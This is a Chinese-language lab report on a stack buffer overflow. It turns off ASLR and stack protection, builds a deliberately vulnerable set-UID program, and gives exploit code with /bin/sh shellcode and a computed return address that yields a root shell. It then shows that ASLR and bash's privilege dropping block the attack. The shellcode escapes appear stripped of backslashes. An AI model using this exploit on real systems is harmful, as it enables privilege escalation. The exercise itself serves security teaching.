首先为了方便观察汇编语句,需要在32位环境下进行操作,首先在Kali中安装相关编译应用:
输入命令linux32进入32位linux环境,输入/bin/bash使用bash,使用exit退出linux32位环境
ubuntu和其他一些linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键,所以在本次实验中,我们使用以下命令来关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0
此外,为了进一步防范缓冲区溢出攻击以及其他利用shell程序的攻击,许多shell程序在被调用的时候自动放弃它们的特权,因此,即使能欺骗一个set-UID程序调用一个Shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。
linux系统中,/bin/sh实际是指向/bin/bash或者/bin/dash的一个符号连接,为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序zsh来代替/bin/bash:
(需要root权限)
cd /bin rm sh ln -s zsh sh exit
一般情况下,缓冲区溢出会早成程序崩溃,在程序中,溢出的覆盖了返回地址,而如果覆盖返回的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于其他功能,这段代码就是shellcode。
我们设计如下的shellcode:
#include <stdio.h> int main(){ char *name[2]; name[0] = “/bin/sh”; name[1] = NULL; execve(name[0], name, NULL); }
此shellcode的汇编指令如下:
x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80
假设存在缓冲区溢出的程序为stack,将以下代码保存为“stack.c”文件,保存到/tmp目录下:
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properlyn"); return 1; }
通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”
编译该程序,并设置SET-UID,命令如下:
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack
gcc编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码的时候需要使用-fno-stack-protector来关闭这种机制。而-z execstack用于允许执行栈。
由于我们的目标是攻击刚才的漏洞程序,并通过攻击获得root权限,所以构造如下payload:
将以下代码保存为”exploit.c”文件,保存在/tmp下:
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "x31xc0" //xorl %eax,%eax "x50" //pushl %eax "x68""//sh" //pushl $0x68732f2f "x68""/bin" //pushl $0x6e69622f "x89xe3" //movl %esp,%ebx "x50" //pushl %eax "x53" //pushl %ebx "x89xe1" //movl %esp,%ecx "x99" //cdq "xb0x0b" //movb $0x0b,%al "xcdx80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??"); strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
在上面的代码中,“x??x??x??x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode保存在 buffer+100 的位置。
现在我们要得到shellcode在内存中的地址,输入命令:
gdb stack disass main
结果如图:
接下来的操作:
先用breakpoint语句b main 设置main函数地址的断点,使main函数的数据地址存在寄存器中,然后用 i r $esp 读取寄存器。
得到buffer为0xffe07dc0,
根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffe07dc0(十六进制)+100(十进制)=0xffe07e24(十六进制)
现在修改exploit.c文件!将 x??x??x??x?? 修改为 x24x7exe0xff
接下来先退出再编译 exploit.c
gcc -m32 -o exploit exploit.c
现在开始进行攻击:
先运行程序expolit,再运行漏洞程序stack,观察结果:、
可见,通过攻击,获得了root权限!
练习二:
通过命令”sudo sysctl -w kernel.randomize_va_space=2“打开系统的地址空间随机化机制,重复用exploit程序攻击stack程序,观察能否攻击成功,能否获得root权限。
攻击失败,没有root权限。我想因为是由于地址空间随机化被开启,导致之前计算的地址与实际的地址出现了不同,从而不能完成攻击。
练习三:
将/bin/sh重新指向/bin/bash(或/bin/dash),观察能否攻击成功,能否获得root权限。
攻击失败,没有获得root权限。使用的bash程序,当shell运行时,没有root权限,此时,即便攻击程序攻击了漏洞程序,也无法获得root权限。
在实验阶段中,地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难。因此需要关闭地址的随机化,固定地址,从而使得地址的猜测变得更加简单。攻击程序写一个badfile文件,将其中的一部分字节替换为之前计算好的字节,当漏洞程序读取badfile文件时,由于没有限制输入的长度,导致返回值被之前替换的字节覆盖,当程序返回时,跳转到了预先指定的地址,获得了root权限,完成了攻击。